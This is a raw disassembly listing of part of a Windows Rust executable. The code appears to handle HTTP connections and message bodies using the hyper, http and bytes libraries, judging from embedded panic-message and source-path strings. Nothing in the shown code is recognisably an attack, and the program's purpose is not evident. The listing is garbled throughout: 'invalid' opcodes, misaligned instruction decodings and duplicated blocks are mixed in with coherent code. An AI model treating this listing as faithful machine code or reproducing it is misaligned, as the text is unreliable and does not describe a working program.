mov al, 1
mov dword [rsp + 0x4c], eax
xor edx, edx
jmp 0x140082d31
xor edx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x5c8], rdx
test byte [rsp + 0xa4], 1
jne 0x140082e27
mov rsi, qword [rsp + 0x7e0]
movzx edx, byte [rsp + 0x7e8]
movzx eax, byte [rsp + 0x7ef]
shl eax, 0x10
movzx ecx, word [rsp + 0x7ed]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x7e9]
or rax, rcx
mov qword [rsp + 0x5c0], rax
lea rcx, [rsp + 0x818]
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x630], rax
movups xmm0, xmmword [rcx - 0x28]
adc byte [rcx - 0x28], al
adc byte [rcx - 0x28], al
movaps xmmword [rsp + 0x620], xmm0
sub dword [rsp + 0x620], eax
mov rax, qword [rsp + 0x808]
mov qword [rsp + 0x5b8], rax
mov dword [rsp + 0x5b8], eax
mov dword [rsp + 0x5b8], eax
add eax, 0x100f0000
clc
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rsp + 0x6e0], xmm0
mov rax, qword [rsp + 0x820]
mov eax, dword [rsp + 0x820]
mov eax, dword [rsp + 0x820]
or byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, 0xb70f0000
xor byte [r14 - 0x77], spl
test byte [rax + riz*4], ah
add al, 0
add bl, dh
movq mm0, qword [rcx + 0x10]
mov qword [rsp + 0x5b0], rax
movzx eax, word [rcx + 0x30]
mov word [rsp + 0x4a0], ax
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm1, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x490], xmm1
movdqa xmmword [rsp + 0x480], xmm0
movzx eax, byte [rsp + 0x84a]
mov byte [rsp + 0x3f], al
mov eax, dword [rcx + 0x33]
mov dword [rsp + 0xd8], eax
movzx eax, byte [rcx + 0x37]
mov byte [rsp + 0xdc], al
mov dword [rsp + 0xd4], 0
add byte [rax], al
add cl, ch
fld qword [rax]
add byte [rax], al
add byte [rax], al
add cl, ch
fld qword [rax]
add byte [rax], al
mov eax, dword [rsp + 0x4c]
xor al, 1
mov dword [rsp + 0xd4], eax
mov rsi, qword [rsp + 0x7e0]
and al, 0xe0
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x94
and al, 0xe8
invalid
add byte [rax], al
movzx eax, byte [rsp + 0x7ef]
shl eax, 0x10
movzx ecx, word [rsp + 0x7ed]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x7e9]
or rax, rcx
mov qword [rsp + 0x5c0], rax
lea rcx, [rsp + 0x818]
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x630], rax
xor byte [rsi], al
add byte [rax], al
and al, 0xe0
invalid
add byte [rdi], cl
mov dh, 0x94
and al, 0xe8
invalid
xor byte [rsi], al
add byte [rax], al
movups xmm0, xmmword [rcx - 0x28]
movaps xmmword [rsp + 0x620], xmm0
mov rax, qword [rsp + 0x808]
mov qword [rsp + 0x5b8], rax
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rsp + 0x6e0], xmm0
mov rax, qword [rsp + 0x820]
mov qword [rsp + 0x5b0], rax
movzx eax, word [rcx + 0x30]
mov word [rsp + 0x4a0], ax
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm1, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x490], xmm1
movdqa xmmword [rsp + 0x480], xmm0
movzx eax, byte [rsp + 0x84a]
mov byte [rsp + 0x3f], al
mov eax, dword [rcx + 0x33]
mov dword [rsp + 0xd8], eax
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x41
invalid
mov byte [rsp + 0xdc], al
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x41
invalid
mov dword [rsp + 0x2c], edx
cmp r13d, 3
setne al
xor bl, 1
mov bpl, 1
test al, al
mov r13, qword [rsp + 0x58]
je 0x140082bc6
cld
invalid
invalid
cld
invalid
jmp 0x140082be0
mov ecx, 0x44fffffc
movups xmm5, xmmword [0x140128708]
movups xmm13, xmmword [0x140128708]
movaps xmmword [rsp + 0x270], xmm13
movups xmm14, xmmword [0x1401286f8]
invalid
and al, 0x70
add al, byte [rax]
add byte [rdi + rcx + 0x10], al
xor eax, 0xa57b8
invalid
add byte [rdi + rcx + 0x29], al
movaps xmmword [rsp + 0x260], xmm14
mov rcx, r12
lea rdx, [rsp + 0x260]
call fcn.140025cf0
test al, al
je 0x140082f73
mov ah, 0x24
invalid
cmp byte [rsp + 0x84a], 1
jne 0x140082faf
mov esi, 4
mov al, 2
jmp 0x14008307c
mov rcx, r12
call fcn.1400384d0
cmp rax, 1
jne 0x140083041
cmp rdx, 0xfffffffffffffffe
jb 0x140082d29
movaps xmmword [rsp + 0x270], xmm13
movaps xmmword [rsp + 0x260], xmm14
lea rcx, [rsp + 0x4b0]
mov rdx, r12
lea r8, [rsp + 0x260]
call fcn.140038870
mov rax, qword [rsp + 0x4c0]
cmp qword [rsp + 0x4b0], 0
je 0x140083091
movups xmm0, xmmword [0x14013fc30]
movaps xmmword [rsp + 0x270], xmm0
movdqu xmm0, xmmword [0x14013fc20]
movdqa xmmword [rsp + 0x260], xmm0
mov rcx, r12
lea rdx, [rsp + 0x260]
call fcn.140025cf0
test al, al
je 0x140083085
mov rcx, rsi
mov rdx, rdi
mov r8, r13
call fcn.140091860
mov rax, qword [rsp + 0x1460]
test rax, rax
je 0x14007f815
cmp eax, 1
jne 0x140083c23
cmp rax, 1
jne 0x140083411
mov rsi, rdx
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008584d
mov r13, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 6
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400859a3
mov qword [rax], rsi
mov qword [r13], rax
lea rax, [0x1401273e0]
mov qword [r13 + 8], rax
jmp 0x140083455
mov rax, qword [rsp + 0x780]
mov qword [rsp + 0x760], rax
movaps xmm0, xmmword [rsp + 0x770]
movaps xmmword [rsp + 0x750], xmm0
movaps xmm0, xmmword [rsp + 0x7c0]
movaps xmmword [rsp + 0x7b0], xmm0
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x580], xmm0
movaps xmmword [rsp + 0x590], xmm1
movzx eax, word [rsp + 0x120]
mov word [rsp + 0x5a0], ax
mov eax, dword [rsp + 0x228]
mov dword [rsp + 0x220], eax
movzx eax, byte [rsp + 0x22c]
mov byte [rsp + 0x224], al
mov byte [rdi + 0xd0], 0
cmp byte [rdi + 0xd2], 2
jne 0x140083370
cmp byte [rsp + 0xd4], 0
jne 0x140083385
cmp byte [rsp + 0xd4], 1
mov eax, 0
adc al, 1
mov byte [rdi + 0xd2], al
movzx eax, byte [rsp + 0x3f]
mov byte [rdi + 0xd3], al
cmp byte [rsp + 0x4c], 0
sete bl
mov rax, qword [rsp + 0x5c8]
cmp rax, 0xfffffffffffffffe
je 0x140083b03
cmp rax, 0xffffffffffffffff
je 0x140083aff
test rax, rax
jne 0x140083b09
mov qword [rdi + 0x70], 3
mov rcx, rdi
call fcn.1400916a0
mov rcx, rdi
mov rdx, r13
call fcn.140091780
xor edx, edx
jmp 0x140083b37
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008584d
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x900
jmp 0x140083455
mov esi, 5
mov bl, 1
cmp rsi, 3
jne 0x140083665
jmp 0x14008389c
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008584d
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
mov edx, dword [rsp + 0x2c]
mov qword [rsp + 0x4b0], r13
movzx r8d, byte [rdi + 0xd2]
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
mov rsi, qword [rdi + 0x160]
test rsi, rsi
mov dword [rsp + 0x2c], edx
je 0x140083523
mov rax, qword [rsp + 0x428]
mov r15, qword [rax]
xor r14d, r14d
jmp 0x1400834a8
inc r14
cmp rsi, r14
je 0x1400834e3
movzx eax, byte [r15 + r14]
cmp eax, 0xd
je 0x1400834a0
cmp eax, 0xa
je 0x1400834a0
mov qword [rsp + 0x340], r14
cmp rsi, r14
jb 0x140085da9
test r14, r14
je 0x14008360b
mov r12, qword [rdi + 0x170]
test r12b, 1
jne 0x1400834f7
jmp 0x1400835df
mov r14, rsi
mov r12, qword [rdi + 0x170]
test r12b, 1
je 0x1400835df
mov rbp, r12
shr rbp, 5
lea rax, [r14 + rbp]
mov rcx, rax
shr rcx, 0x3b
jne 0x14008356f
shl rax, 5
and r12d, 0x1f
or r12, rax
mov rax, r12
mov rbp, qword [rsp + 0x60]
jmp 0x1400835d8
xor esi, esi
cmp byte [r13 + 0x30], 0
jne 0x140083623
jmp 0x14008380d
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008584d
mov byte [rsp + 0x50], r8b
mov rbx, qword [rdi + 0x168]
movzx eax, byte [0x14017d2b0]
mov edx, 0x28
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085ee7
add rbx, rbp
add rsi, rbp
sub r15, rbp
shr r12d, 2
and r12d, 7
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], 1
mov r15, qword [rdi + 0x158]
mov rsi, qword [rdi + 0x160]
mov rbp, qword [rsp + 0x60]
movzx r8d, byte [rsp + 0x50]
mov qword [rdi + 0x170], rax
lea r12, [rsp + 0x7e0]
add r15, r14
mov qword [rdi + 0x158], r15
sub rsi, r14
mov eax, 0
cmovb rsi, rax
mov qword [rdi + 0x160], rsi
sub qword [rdi + 0x168], r14
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x140]
cmp byte [r13 + 0x30], 0
je 0x14008380d
test r8b, r8b
jne 0x14008380d
test rsi, rsi
jne 0x14008380d
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
lea rcx, [rsp + 0x4b0]
call fcn.1400366b0
mov esi, 4
mov bl, 1
cmp rsi, 3
je 0x14008389c
cmp rsi, 4
je 0x1400837ea
cmp rsi, 5
je 0x1400855be
mov qword [rsp + 0x1460], rsi
mov qword [rsp + 0x1468], r13
mov rax, qword [rsp + 0x720]
lea rcx, [rsp + 0x1468]
mov qword [rcx + 0x18], rax
movaps xmm0, xmmword [rsp + 0x710]
movups xmmword [rcx + 8], xmm0
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x1488], rax
movaps xmm0, xmmword [rsp + 0x7a0]
movups xmmword [rcx + 0x28], xmm0
mov rax, qword [rsp + 0x648]
mov qword [rsp + 0x14a0], rax
movzx eax, word [rsp + 0x6b0]
mov word [rcx + 0x60], ax
movdqa xmm0, xmmword [rsp + 0x690]
movdqa xmm1, xmmword [rsp + 0x6a0]
movdqu xmmword [rcx + 0x50], xmm1
movdqu xmmword [rcx + 0x40], xmm0
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x14ca], al
movzx eax, byte [rsp + 0x21c]
mov byte [rcx + 0x67], al
mov eax, dword [rsp + 0x218]
mov dword [rcx + 0x63], eax
test rdx, rdx
je 0x1400838f7
mov rcx, r12
xor r8d, r8d
call fcn.140035100
mov rax, qword [rsp + 0x800]
mov qword [rsp + 0x280], rax
movups xmm0, xmmword [rsp + 0x7e0]
movups xmm1, xmmword [rsp + 0x7f0]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov rsi, qword [rsp + 0x808]
mov r14, qword [rsp + 0x810]
lea rax, [rsp + 0x818]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x730], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x740], rax
mov r15, qword [rsp + 0x830]
cmp byte [rdi + 0x1d0], 3
mov r13, qword [rsp + 0x58]
je 0x1400837b1
mov rcx, qword [rsp + 0x30]
call fcn.140086030
mov rax, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
test bl, bl
je 0x14008390c
jmp 0x1400839d4
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 5
mov r13, qword [rsp + 0x58]
lea rsi, [rsp + 0x1460]
jne 0x14007f64d
jmp 0x1400838d1
mov qword [rsp + 0x7e0], r13
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 2
jne 0x14008388b
cmp rsi, 0x18
jb 0x14008388b
mov rax, qword [rsp + 0x428]
mov rax, qword [rax]
movdqu xmm0, xmmword [rax]
pcmpeqb xmm0, xmm7
movq xmm1, qword [rax + 0x10]
pcmpeqb xmm1, xmm6
pand xmm1, xmm0
pmovmskb eax, xmm1
cmp eax, 0xffff
jne 0x14008388b
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008584d
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x500
mov rcx, r12
call fcn.1400366b0
mov esi, 3
mov bl, 1
cmp rsi, 3
jne 0x140083665
mov qword [rsp + 0x7e8], r13
mov qword [rsp + 0x7e0], 3
mov rcx, rbp
mov rdx, r12
call fcn.140086190
test rax, rax
lea rsi, [rsp + 0x1460]
jne 0x1400855e4
mov r13, qword [rsp + 0x58]
mov byte [rdi + 0x1e0], 1
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
jmp 0x14007f64d
xor r15d, r15d
xor esi, esi
xor r14d, r14d
mov r13, qword [rsp + 0x58]
test bl, bl
jne 0x1400839d4
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085ced
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x30], xmm8
lock inc qword [rax]
jle 0x140085cfc
cmp qword [rdi], 0
je 0x1400839a0
mov r12, qword [rdi + 8]
test r12, r12
je 0x1400839a0
mov rax, qword [r12 + 0x30]
nop dword [rax]
mov rcx, rax
test cl, 4
jne 0x14008397b
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [r12 + 0x30], rdx
jne 0x140083960
and ecx, 5
cmp ecx, 1
jne 0x140083990
mov rax, qword [r12 + 0x20]
mov rcx, qword [r12 + 0x28]
call qword [rax + 0x10]
lock dec qword [r12]
jne 0x1400839a0
mov rcx, qword [rdi + 8]
call fcn.140037db0
mov qword [rdi], 1
mov qword [rdi + 8], rbx
mov edx, 1
lea rcx, [rsp + 0x14c0]
mov r8, rbx
call fcn.14008de90
test rax, 0xfffffffffffffffd
lea r12, [rsp + 0x7e0]
jne 0x140083aae
movups xmm0, xmmword [rsp + 0x14c0]
movaps xmmword [rsp + 0x840], xmm0
movups xmm0, xmmword [rsp + 0x14b0]
movaps xmmword [rsp + 0x830], xmm0
movups xmm0, xmmword [rsp + 0x14a0]
movaps xmmword [rsp + 0x820], xmm0
movups xmm0, xmmword [rsp + 0x1460]
movdqu xmm1, xmmword [rsp + 0x1470]
movups xmm2, xmmword [rsp + 0x1480]
movups xmm3, xmmword [rsp + 0x1490]
movaps xmmword [rsp + 0x810], xmm3
movaps xmmword [rsp + 0x800], xmm2
movdqa xmmword [rsp + 0x7f0], xmm1
movaps xmmword [rsp + 0x7e0], xmm0
mov rax, qword [rsp + 0x740]
lea rcx, [rsp + 0x818]
mov qword [rcx + 0x58], rax
movdqa xmm0, xmmword [rsp + 0x730]
movdqu xmmword [rcx + 0x48], xmm0
mov qword [rsp + 0x850], rsi
mov qword [rsp + 0x858], r14
mov qword [rsp + 0x878], r15
mov rcx, rbp
mov rdx, r12
call fcn.140086190
test rax, rax
jne 0x1400855cd
mov r15, qword [rsp + 0x30]
lea rsi, [rsp + 0x1460]
lea r14, [rsp + 0x140]
jmp 0x14007f64d
test rdx, rdx
je 0x1400839d4
mov rax, qword [rdx + 0x30]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x140083ac0
and eax, 0xa
cmp eax, 8
jne 0x140083ae8
mov rax, qword [rdx + 0x10]
mov rcx, qword [rdx + 0x18]
mov rbx, rdx
call qword [rax + 0x10]
mov rdx, rbx
lock dec qword [rdx]
jne 0x1400839d4
mov rcx, rdx
call fcn.140037db0
jmp 0x1400839d4
mov al, 2
jmp 0x140083b0e
mov al, 1
xor ecx, ecx
jmp 0x140083b0e
mov rcx, rax
xor eax, eax
mov qword [rdi + 0x70], 2
mov byte [rdi + 0x78], al
mov byte [rdi + 0x79], 0
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], 0
mov rdx, qword [rsp + 0x5c8]
movzx eax, byte [rsp + 0x2c]
mov r13, qword [rsp + 0x5c0]
shl r13, 8
or r13, rax
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x720], rax
movaps xmm0, xmmword [rsp + 0x750]
movaps xmmword [rsp + 0x710], xmm0
movaps xmm0, xmmword [rsp + 0x7b0]
movaps xmmword [rsp + 0x7a0], xmm0
movdqa xmm0, xmmword [rsp + 0x580]
movdqa xmm1, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x690], xmm0
movdqa xmmword [rsp + 0x6a0], xmm1
movzx eax, word [rsp + 0x5a0]
mov word [rsp + 0x6b0], ax
mov eax, dword [rsp + 0x220]
mov dword [rsp + 0x218], eax
movzx eax, byte [rsp + 0x224]
mov byte [rsp + 0x21c], al
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x640], rax
cmp rsi, 3
jne 0x140083665
jmp 0x14008389c
mov esi, 1
test rax, rax
je 0x1400850af
cmp eax, 4
je 0x140083c62
mov rax, qword [rdi + 0x160]
jmp 0x1400850fa
cmp byte [rdi + 0x1d0], 3
je 0x140083c34
mov rcx, r15
call fcn.140086030
mov rax, qword [rsp + 0x160]
mov qword [r15 + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x140]
movdqa xmm1, xmmword [rsp + 0x150]
movdqu xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
mov esi, 1
test rdx, rdx
je 0x140083c70
test rsi, rsi
je 0x14008560a
cmp byte [rdi + 0x1e0], 0
jne 0x140085320
mov rax, qword [rdi + 0x160]
cmp rcx, 2
jne 0x1400850fa
test rax, rax
je 0x14008520d
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008584d
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 3
xor esi, esi
jmp 0x140083c62
cmp byte [rdi + 0xc8], 0
jne 0x140083c62
test rax, rax
jne 0x140083c62
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call fcn.1400914a0
mov rbx, rdx
test rax, rax
je 0x1400851ae
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call fcn.1400914a0
mov rcx, rdx
cmp rax, 2
je 0x140083c62
cmp rax, 1
jne 0x14008547a
cmp qword [rsi], 0
je 0x1400852f1
mov rcx, rbx
mov rbx, rdx
call fcn.14005bd80
mov rdx, rbx
mov qword [rsi], 0
xor eax, eax
test rax, rax
jne 0x140085320
test rdx, rdx
lea rsi, [rsp + 0x1460]
je 0x140085328
jmp 0x14008560a
lea rsi, [rsp + 0x1460]
mov rcx, rdi
mov rdx, r13
call fcn.140092b10
mov rcx, rax
call fcn.1400934a0
test rax, rax
jne 0x14007f620
test rdx, rdx
je 0x14007f620
jmp 0x14008560a
nop
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc0
add al, 0
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add al, 0
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x4d0]
call qword [rax + 0x10]
mov rdx, r15
lea ecx, [rsp + 0x4d0]
call qword [rax + 0x10]
mov rdx, r15
mov r15, qword [rsp + 0x30]
jmp 0x1400852dd
mov eax, dword [rdi + 0x1a0]
mov ecx, 1
add byte [rax], al
add byte [rax - 0x79], cl
adc byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add eax, 0x83480000
stc
add cl, byte [rdi]
invalid
lea eax, [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x79], cl
adc byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add eax, 0x83480000
stc
add cl, byte [rdi]
invalid
je 0x1400853f0
cmp rcx, 3
je 0x140085465
add ecx, dword [rdi]
test byte [rcx - 0x17000000], al
cmp eax, 0xf00000b
invalid
jmp 0x140085f26
mov cl, 1
xchg byte [rax + 0x28], cl
test cl, cl
jne 0x1400853f0
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov qword [rax + 0x18], 0
mov r8d, 0
xchg byte [rax + 0x28], r8b
test rdx, rdx
je 0x140085465
call qword [rdx + 8]
jmp 0x140085465
lea rsi, [rsp + 0x1460]
lea r14, [rsp + 0x140]
jmp 0x140085328
mov esi, 1
mov r13, qword [rsp + 0x58]
jmp 0x140083c62
mov rdx, rax
xor esi, esi
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x140]
jmp 0x140083c62
mov rdx, rax
xor esi, esi
mov r13, qword [rsp + 0x58]
jmp 0x140083c62
mov rax, qword [r13]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx + 0x10]
mov eax, 1
jmp 0x14008560c
xor edx, edx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20e0]
movaps xmm7, xmmword [rsp + 0x20f0]
movaps xmm8, xmmword [rsp + 0x2100]
movaps xmm9, xmmword [rsp + 0x2110]
movaps xmm10, xmmword [rsp + 0x2120]
movaps xmm11, xmmword [rsp + 0x2130]
movaps xmm12, xmmword [rsp + 0x2140]
movaps xmm13, xmmword [rsp + 0x2150]
movaps xmm14, xmmword [rsp + 0x2160]
add rsp, 0x2178
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbx
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r13
mov rdx, r15
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbp
mov rdx, r14
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r14
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, rax
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rdx, rax
call fcn.1401048e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbx
call fcn.140104670
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x4b0], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x4c0], rcx
mov qword [rsp + 0x4c8], rax
lea rax, [0x14013e4f8]
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], 2
mov qword [rsp + 0x280], 0
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x260]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140104a40
lea rcx, [0x14013d3a7]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x14
call fcn.140104a60
mov qword [rsp + 0x580], r14
lea rax, [rsp + 0x690]
mov qword [rsp + 0x238], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x580]
mov qword [rsp + 0x248], rcx
mov qword [rsp + 0x250], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
mov qword [rsp + 0x800], 0
lea rax, [rsp + 0x238]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7e0]
call fcn.140104620
lea rcx, [0x14013e63a]
lea r8, [0x14013e660]
mov edx, 0x23
call fcn.1401046f0
mov ecx, 8
mov edx, 0x38
call fcn.140104380
lea r8, [0x14013e728]
mov edx, 0x12
mov rcx, rbx
call fcn.1401046e0
lea r8, [0x14013e728]
mov rcx, rdx
mov rdx, rbx
call fcn.1401048e0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1460], rax
lea rax, [0x14003a580]
mov qword [rsp + 0x1468], rax
lea rax, [0x14013c870]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
mov qword [rsp + 0x800], 0
lea rax, [rsp + 0x1460]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x7e0]
call fcn.140104620
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1460], rax
lea rax, [0x14003a580]
mov qword [rsp + 0x1468], rax
lea rax, [0x14013c870]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
mov qword [rsp + 0x800], 0
lea rax, [rsp + 0x1460]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x7e0]
call fcn.140104620
lea rax, [0x140128b38]
mov qword [rsp + 0x20], rax
lea rcx, str.CHUNK_SIZE_MAX_BYTES_should_fit_any_usize
lea r9, [0x140127668]
lea r8, [rsp + 0x70]
mov edx, 0x29
call fcn.1401049b0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x140085d28
mov ecx, 8
mov edx, 8
call fcn.140104380
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, r13
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, r15
mov rdx, r13
call fcn.1401048e0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x260], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x4b0]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
lea rax, str.range_start_must_not_be_greater_than_end:
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
mov qword [rsp + 0x800], 0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7e0]
call fcn.140104620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov edx, 0x64
mov rcx, r13
call fcn.1401046e0
lea rcx, [rsp + 0x4c8]
mov rdx, r14
mov r8, rbp
call qword [r13 + 0x10]
mov rax, qword [rsp + 0x170]
test rax, rax
je 0x140085d21
mov rdx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x188]
jmp 0x140085d1e
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x260], rax
lea rax, [0x1400ea5c0]
